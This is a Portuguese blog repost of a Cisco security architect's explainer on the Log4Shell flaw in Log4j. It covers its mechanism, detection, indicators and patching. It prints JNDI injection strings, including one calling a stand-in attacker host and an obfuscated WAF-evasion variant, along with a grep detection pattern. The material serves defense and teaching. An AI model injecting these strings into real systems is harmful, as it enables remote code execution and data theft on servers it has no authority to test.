O Flávio Costa, Technical Solutions Architect for Channels in LATAM at #CiscoSecure, escreveu um ótimo artigo sobre o Log4Shell no Linkedin, e com a devida autorização estou compartilhando abaixo.
${jndi Na quinta-feira, dia 9 de dezembro, foi anunciada uma vulnerabilidade dia zero de validação de input, (CWE-20 improper input validation), que ocorre quando dados não confiáveis são usados para manipular como eles são tratados pelo sistema, que pode resultar em uma execução de código remoto, (T1203 – Exploitation for Client Execution), ou seja, um usuário mau intencionado, sem qualquer privilégio ou autenticação, poderia com um único comando (T1059 – Command and Scripting Interpreters) exfiltrar informações sensíveis (TA0010), e executar um código malicioso remotamente. Honeypots já observaram ataques de criptomining adaptando essa vulnerabilidade.
Trata-se de uma biblioteca de registros (logging), open-source desenvolvida pela Apache, bastante popular chamada Log4j. A vulnerabilidade foi descoberta pelo especialista de segurança em nuvem, Chen Zhaojun, da Alibaba (CVE-2021-44228, CVSSv3 10.0). Além disso, Kenna, o software de gerenciamento de vulnerabilidade baseado em risco da Cisco, está rastreando essa vulnerabilidade e atribuiu a ela uma pontuação de risco de 93 de 100, uma pontuação excepcionalmente rara que reflete a gravidade e o impacto potencial dessa vulnerabilidade. Para colocar isso em perspectiva, o Log4j é mais arriscado do que 99,61% das mais de 165.000 vulnerabilidades que o Kenna já pontuou.
“A project with a footprint like Log4j is not possible to avoid as a transient dependency even if you don’t directly import it. Log4j is a canonical logging utility for a huge ecosystem. Its current radius is beyond doing due diligence.” – @rakyll (AWS)
Basicamente, se estamos falando de algo que tem esse framework Java de subsistema de registro, na versão 2.x, então ele está potencialmente vulnerável, ou seja, a superfície de ataque é enorme, pois é amplamente utilizado por muitas aplicações e serviços em nuvem, podendo se tornar uma das vulnerabilidades mais sérias na internet desde Heartbleed e ShellShock. Por isso, um dos nicknames utilizados como referência à vulnerabilidade pela LunaSec, Log4Shell, faz bastante sentido. O nome representa fielmente o impacto (TA0040), e a facilidade de acesso inicial (TA0001). Já foram observados scans ativos (T1595 – Active Scanning) na internet procurando por alvos, e diversas formas diferentes de exploração. Um dos primeiros alvos identificados foi através do chat do jogo Minecraft.
Fonte: Canal do YouTube do John Hammond
Steam, Apple iCloud e vários outros serviços em nuvem também foram encontrados vulneráveis. Relatórios da Cisco indicam tentativas de exploits desde o dia 1 de dezembro. Esta vulnerabilidade representa um risco significativo para os sistemas afetados e tem grande probabilidade de ser explorada a partir dos próximos dias, podendo impactar milhares de organizações.
Mas para entender como funciona uma biblioteca Java, precisamos entender alguns conceitos, que vou explicar de uma forma simples para contextualizar o cenário:
Dados fornecidos por um usuário não confiável, que você está meramente imprimindo para referência futura ou registrando em um arquivo, podem assumir o controle do servidor no qual você está fazendo o registro. Para entender como isso pode ser feito, vamos utilizar como exemplo o pequeno código abaixo, “teste1print.java”:
Após compilar e rodar o código, teremos como resposta a impressão da string:
Simples né? Basicamente temos o print do famoso “Hello World!”
Observe que antes da execução do programa em Java, foi executada uma definição de classe, pelo comando set CLASSPATH, para utilização de módulos da versão vulnerável 2.14.1.
Com algumas pequenas modificações no código para adicionar a função error() utilizada como registro e no nível padrão, (assim não precisamos criar um arquivo de configuração Log4j), estamos usando o primeiro argumento da linha de comando como o texto a registrar, então podemos injetar o texto externamente, como fizemos acima.
Arquivo modificado para “teste2log.java”:
O resultado agora da execução deste novo código é:
E pronto, temos uma aplicação utilizando a versão vulnerável do Log4j. Como podemos explorar essa falha?
Lookups do Log4j2 (versão 2.x) fornecem uma forma de adicionar valores à configuração do Log4j em locais arbitrários. Simplificando, o usuário que está fornecendo os dados que você está planejando registrar pode escolher não apenas como eles são formatados, mas até mesmo o que eles contêm e como esse conteúdo é recebido. Invariavelmente, além de comprometer a integridade dos registros, pode também revelar dados de outro lugar em seu servidor que você não teria interesse em publicar.
Esses lookups¸ ou pesquisas, no Log4j são acionados por sequências ${….} especiais, como estas:
Repare que as variáveis, por exemplo ${java:version}, foram substituídas por valores, neste exemplo, “Java version 17.0.1“, sem qualquer tratamento/validação desse input. Já entendeu onde podemos chegar?
Como exemplo, a maioria dos clientes web inclui um header (cabeçalho) HTTP chamado User-Agent, e a maioria dos servidores HTTP mantém um registro dessas informações para renderizar a página corretamente e ajudar os administradores a decidir sobre suporte a outros navegadores de acordo com a demanda. Modificar essa informação por valores específicos pode causar sérios problemas, salvando dados em disco que eram para ser armazenados somente em memória.
O problema reside especificamente no lookup para Java Naming and Directory Interface (JNDI), uma API que permite o lookup de objetos através de vários protocolos, entre os mais populares para esta vulnerabilidade: LDAP/S, RMI e DNS. O Log4j analisará a entrada e procurará qualquer uma das pesquisas, tratando todos os argumentos como format strings, processando automaticamente o lookup assim que encontrado. Essas sequências de comandos podem não apenas fazer simples substituições de strings como demonstrado acima, mas também fazer pesquisas em tempo de execução para servidores arbitrários, tanto dentro quanto fora da rede.
Como exemplo, podemos utilizar o ncat, um programa que irá escutar conexões TCP e relatar quando obtiver uma, para que possamos ver se o Log4j realmente está fazendo conexões de rede:
Para explicar as opções de linha de comando do ncat:
-k continuar ouvindo as conexões, não sair após a primeira ser estabelecida;
-vv verbose, para que possamos verificar nos logs ele está em listening;
-c especifica um comando que envia uma resposta para a outra extremidade, que é a ação mínima que precisamos para enganar o Log4j para que ele não desligue e espere para sempre. A variável especial %NCAT_REMOTE_PORT% será diferente a cada vez para que possamos ver facilmente quando novas solicitações chegam,
-l significa atuar como um servidor TCP, ouvindo na porta 8888.
Observe agora que na execução do código ${jndi:ldap://127.0.0.1:8888/salve},o argumento de linha de comando ecoou precisamente na saída, como se nenhuma pesquisa ou substituição tivesse ocorrido:
Mas, observe o que ocorreu na outra tela enquanto houvíamos pelo ncat na porta 8888:
O que aconteceu? Acabamos de enganar a nossa aplicação Java para fazer uma conexão de rede. Neste caso, enviamos deliberadamente de volta a string de texto “— CONEXAO [1197] —“, (e na sequência 1206 pois uma nova execução foi feita), que é o suficiente para completar a pesquisa JNDI, mas não é um dado JNDI oficial, então nosso programa Java felizmente o ignora e registra o original em seu lugar. Com os parâmetros corretos as ações podem causar um enorme impacto. Pois é, simples assim!
Tudo o que você precisa saber
Antes de mais nada: seguindo o princípio da visibilidade, você não pode se proteger daquilo que você não pode ver. Conhecer seu ambiente como um todo e manter um inventário de ativos como servidores e aplicações, por exemplo, é essencial para que você possa ter uma rápida resposta em momentos como esse. Dito isso, as informações abaixo podem ser de grande ajuda para ações na sequência.
Versões afetadas: log4j-core (e API) versions >=2.0-beta9 e <=2.14.1. A versão 1.x possui outras vulnerabilidades, portanto, a atualização para a última versão é recomendada de qualquer forma. Outras linguagens além do Java, como Scala, Groovy e Clojure também estão vulneráveis. Fonte aqui.
Impacto: alguns vetores de ataque podem levar a execução arbitrária de código (RCE). A infraestrutura de log geralmente tem muitas topologias de encaminhamento/retransmissão northbound (enviar meus logs para alguém) e southbound (receber logs de alguém). Analise as dependências. O encadeamento deles para exploração também deve ser considerado.
Alvos: servidores e clientes que executam Java e também registram qualquer coisa usando a estrutura Log4j. Apesar da natural maior preocupação com servidores, qualquer endpoint vulnerável pode ser utilizado como pivô para uma movimentação lateral (TA0008).
Dificuldade de exploração: trivial/mínima. Uma simples mudança no nome de um dispositivo já foi demonstrada capaz de explorar a vulnerabilidade.
Fonte: https://twitter.com/chvancooten/status/1469340927923826691
Como identificar um servidor vulnerável? É importante saber onde o Log4j está em seu ambiente. Você precisa encontrar todo e qualquer código em sua rede que esteja escrito em Java e verificar se ele usa a biblioteca. Scanners de vulnerabilidade autenticados são ideais, mas alguns servidores não serão visíveis e podem ter componentes Java desconhecidos. Não é o código baseado em TCP que é afetado por esse bug, a vulnerabilidade pode se esconder em qualquer lugar em sua rede back-end onde os dados fornecidos pelo usuário são processados e os logs são mantidos.
A forma mais simples, porém não a única, é através de uma query DNS. Explorar essa vulnerabilidade fará com que o servidor tente buscar algum código remoto. Ao usar o endereço de uma ferramenta de registro DNS online gratuita na string de exploração, podemos detectar quando a vulnerabilidade é acionada. CanaryTokens.org é um aplicativo web de código aberto para essa finalidade que gera até a string de exploração automaticamente e envia uma notificação por e-mail quando o DNS é consultado. Selecione Log4Shell no menu suspenso. Em seguida, incorpore a string em um campo de solicitação que você espera que o servidor registre. Pode ser qualquer coisa, desde uma entrada de formulário até um cabeçalho HTTP. No exemplo abaixo, o cabeçalho User-Agent pode acionar o registro:
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://x${hostName}.L4J.<RANDOM_STRING>.canarytokens.com/a}'
Outras opções:
-
log4j-scan: bem simples e funcional para pequenos ambientes.
-
Rapid7: InsightVM e Nexpose possuem detecção.
-
Qualys: QIDs disponíveis para detecção.
-
IBM X-Force Red, Python
Como identificar tentativas de ataque? Procure nos logs por indicadores como jndi:ldap, jndi:dns, etc. Para sistemas Unix, pesquise nos logs do seu servidor web usando o seguinte comando:
sudo egrep -i -r '\ $ \ {jndi: (ldap [s]? | rmi | dns): / [^ \ n] +' / var / log /
Sempre lembrando que há a possibilidade de comandos ofuscados.
Como explorar essa vulnerabilidade? Qualquer coisa que pode ser feito o parse pelo Log4j é um vetor de input potencial. Então a execução é possível através de um endpoint que permite o envio de string (HTTP, IMAP, SNMP), tão simples quanto:
1) Submeter um lookup JDNI apontando para o servidor: ${jndi:ldap://attacker.com/a}. Esse é um exemplo não ofuscado via LDAP. Ofuscação e strings aninhadas estão sendo observadas em honeypots.
2) Ao alcançar o servidor, ele tentará resolver a entrada:
a) Uma query LDAP é enviada para o atacante.
b) O atacante responde com uma referência JDNI.
c) A referência é seguida.
3) É feito o download da classe e a classe é executada.
De forma e fluxos similares, RMI também pode ser utilizado.
O JNDI vai automaticamente resolver solicitações DNS, mesmo se nenhuma conexão for permitida, o DNS pode ser utilizado como vetor para exfiltração de dados. O input de strings é do tipo nestable, ou seja, parâmetros adicionais podem ser adicionados.
Crédito das imagens: Fastly
Indicadores de comprometimento (IoCs): onde há fumaça, há fogo! Aqui e aqui estão sendo mantidas bases com hashes e outros indicadores conhecidos, para que você possa utilizar como pesquisa em seu ambiente.
Se você acredita que pode ter sido afetado pelo CVE-2021-44228, adote a mentalidade “já fomos comprometidos”, e revise os logs de aplicativos afetados para atividades incomuns. Se você encontrar os hashes acima em seu inventário de software, então você tem o Log4j vulnerável em seus sistemas.
Correção/Remediação direta: realize o patch dos sistemas, priorizando aqueles acessíveis pela internet, o mais rápido possível para a versão 2.16.0 (requer Java 8). Na sequência, faça o mesmo para servidores internos. Fonte: Apache.
Não posso atualizar agora, quais são as soluções de contorno/mitigação? Várias estratégias podem ser adotadas para identificar e mitigar o ataque caso o patch imediato não seja possível. Considere isolar os sistemas vulneráveis e aplicar as seguintes ações de controle:
-
Para as versões >=2.0 até 2.10.0, substitua uma implementação não vulnerável ou vazia da classe org.apache.logging.log4j.core.lookup.JndiLookup, de forma que seu classloader use sua substituição em vez da versão vulnerável da classe. Você pode também remover a classe LDAP completamente emitindo o seguinte comando: zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class
-
Desabilite lookups remotos: a vulnerabilidade RCE pode ser mitigada configurando log4j2.formatMsgNoLookups como True (-Dlog4j2.formatMsgNoLookups = true na linha de comando JVM), mas apenas para> = 2.10.0. A partir da versão 2.15.0 essa flag está ativa por padrão.
-
Colocar um WAF ou ALB na frente de seu site (e estabelecer seu SSL lá) pode ser uma solução fácil, mas protege apenas de forma parcial.
-
Firewall/IPS para prevenir e identificar conexões inesperadas: faça o controle de saída TCP/UDP.
Exemplo de exploração em tráfego outbound DNS (UDP):
Se o servidor não conseguir estabelecer a conexão TCP nada poderá ser executado posteriormente. A Cisco publicou uma série de regras de Firewall para detectar essa vulnerabilidade.
Futuramente, considere o modelo IMMA:
-
Isolate (Micro-Segmentation);
-
Minimize (Zero Trust);
-
Monitor (Behavioral Analysis)
-
Active Defense (Honeypots/honeydata).
Para aplicações web, procure pelo padrão de verificação de segurança de aplicativos. Esta é uma estrutura de design que é mantida e desenvolvida pelo Open Web Application Security Project (OWASP) para ajudar a padronizar os níveis de segurança que os aplicativos alcançam.
O que NÃO vai te ajudar!
1) A solução bala de prata: um Web Application Firewall (WAF), por exemplo. Simplesmente porque a vulnerabilidade não exige que o seu uso seja acessível publicamente (internet facing). Pipelines de dados internos, como Hadoop e Spark, e aplicativos de desktop como o Ghidra da NSA estão entre os sistemas afetados. Além disso, regras podem ser facilmente evadidas através de técnicas de ofuscação e com strings no formato nested. Exemplo:
${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//sitemalicioso.br/a}
As mesmas técnicas podem ser usadas para evasão de assinaturas de soluções de NGFW e IPS. Neste link há outros exemplos/formas de bypass.
2) Atualizar somente o Java: não é uma boa sugestão, embora haja evidências de versões não afetadas. Pode ser apenas uma questão de tempo para novas versões serem impactadas por uma versão vulnerável do Log4j, por isso, não deve ser levado como recomendação de defesa a longo prazo. Essa atualização por si só é insuficiente.
3) O SIEM não é a resposta para tudo: alguns produtos usam apenas Log4j para registro local, portanto, pesquisas SIEM/syslog são boas, mas podem não fornecer cobertura completa. Alternativa open-source para empresas que não dispõem desse tipo de ferramenta: Log4Shell Detector.
4) Entrar em pânico: se você não tem uma boa gestão de ativos para conseguir identificar potenciais alvos quando uma vulnerabilidade zero-day como essa é anunciada, você já tem um bom plano de ação para 2022 . Essa não é a primeira e não será a última vulnerabilidade crítica com a qual você terá que se preocupar. Invista em uma arquitetura de segurança integrada. Para entender melhor, leia esse meu artigo no blog da Cisco do Brasil sobre o assunto: O Castelo da Era Digital, Parte 1: Conceito de Segurança em Profundidade.
Recursos extras:
-
Leia este post no blog do Talos para obter mais informações sobre o ataque. Ele será constantemente atualizado à medida que mais informações forem conhecidas
-
Mantenha-se atualizado sobre tudo CVE-2021-44228 salvando e visitando a página Cisco Secure Alert.
-
Se você tiver dúvidas sobre explorações ativas em seu ambiente, o Cisco Talos Incident Response pode ser usado para caça proativa a ameaças e resposta a emergências. Conte conosco!
-
Além disso, você pode ver o Cisco Product Security Incident Response (PSIRT).
Escrito em: 12/12/21 , por Flávio Costa – flavicor@cisco.com
Revisões pós-publicação:
14/12 – A recomendação anterior de upgrade para a versão 2.15.0 tem um CVE contra ela agora. Com este novo CVE, a solução anterior não é totalmente válida e a Apache lançou a versão 2.16.0.
Novas diretrizes para mitigação:
-
Atualizar para 2.16.0 ou;
-
Remover a classe JndiLookup do JAR log4j-core.
You must be logged in to post a comment.